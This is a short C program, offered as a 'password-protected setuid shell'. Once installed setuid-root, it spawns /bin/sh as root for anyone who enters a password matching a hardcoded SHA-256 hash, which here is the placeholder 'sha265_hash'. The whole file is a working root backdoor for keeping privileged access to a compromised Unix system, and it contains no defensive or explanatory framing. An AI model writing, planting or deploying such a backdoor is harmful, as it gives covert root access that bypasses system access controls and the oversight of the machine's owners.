Password-protected setuid shell

setuid_shell.c

#include <stdlib.h>
#include <stdio.h>
#include <openssl/sha.h>
#include <stddef.h>
#include <errno.h>
#include <string.h>

// gcc -lcrypto setuid_shell.c -o setuid_shell 

void sha256(char *string, char outputBuffer[65])
{
    unsigned char  hash[SHA256_DIGEST_LENGTH];
    int len;
    SHA256_CTX sha256;
    SHA256_Init(&sha256);

    len=strlen(string);
    SHA256_Update(&sha256, string,len);
    SHA256_Final(hash, &sha256);
    int i = 0;
    for(i = 0; i < SHA256_DIGEST_LENGTH; i++)
    {
        sprintf(outputBuffer + (i * 2), "%02x", (unsigned char)hash[i]);
    }
    outputBuffer[64] = 0;
}

int main(int argc, char **argv)
{
    const char *p = "sha265_hash";
    char *s = getpass("Pass: ");
    char calc_hash[65];
    sha256(s, calc_hash);
    //printf("%s\n",calc_hash);

    if (strcmp(p, calc_hash) == 0) {
        setuid(0);
        setgid(0);
        system("/bin/sh");
    } else
        printf("Bye\n");

    return 0;
}